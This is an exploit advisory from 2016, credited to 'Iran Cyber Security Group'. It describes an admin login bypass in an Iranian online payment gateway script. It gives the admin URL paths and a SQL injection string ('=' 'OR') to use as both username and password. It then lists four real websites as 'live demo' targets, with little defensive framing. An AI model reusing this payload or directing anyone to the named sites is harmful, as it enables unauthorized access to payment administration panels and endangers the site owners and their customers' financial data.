############################################################## # Exploit Title: Admin Bypass Scripts Payment Gateway ( دروازه پرداخت آنلاين طراحان وب ) # Date: 8/12/2016 # Exploit Author: Iran Cyber Security Group # Discovered By: sir.h4m1d # Vendor Homepage: iranwebhost.ir # Version: All version # Tested on: Windows ############################################################## [~] VULNERABILITY}~~ http://www.Site.com/pay/admin/ or /payment/admin/ [~] EXPLOIT: Username: '=' 'OR' Password: '=' 'OR' ############## [~] LIVE DEMO: # demo 1 : http://www.afpelevator.com/payment/admin/ # demo 2 : http://www.mahsan.net/pay/admin/ # demo 3 : http://www.iranwebhost.ir/pay/admin/ # demo 4 : https://bartarinpanlsms.net/pay/admin/ ###################################################################### # Contact mail: eblis@yahoo.com # Offecial Website: http://iran-cyber.net # My Team : MOHAMAD-NOFOZI , root3r , sir.h4m1d , Promis , white.wolf , mr.s4jj4d , mr.turk , 0day , pi.hack , l3gi0n , nazanin_wild , 0xdevil #############################################################################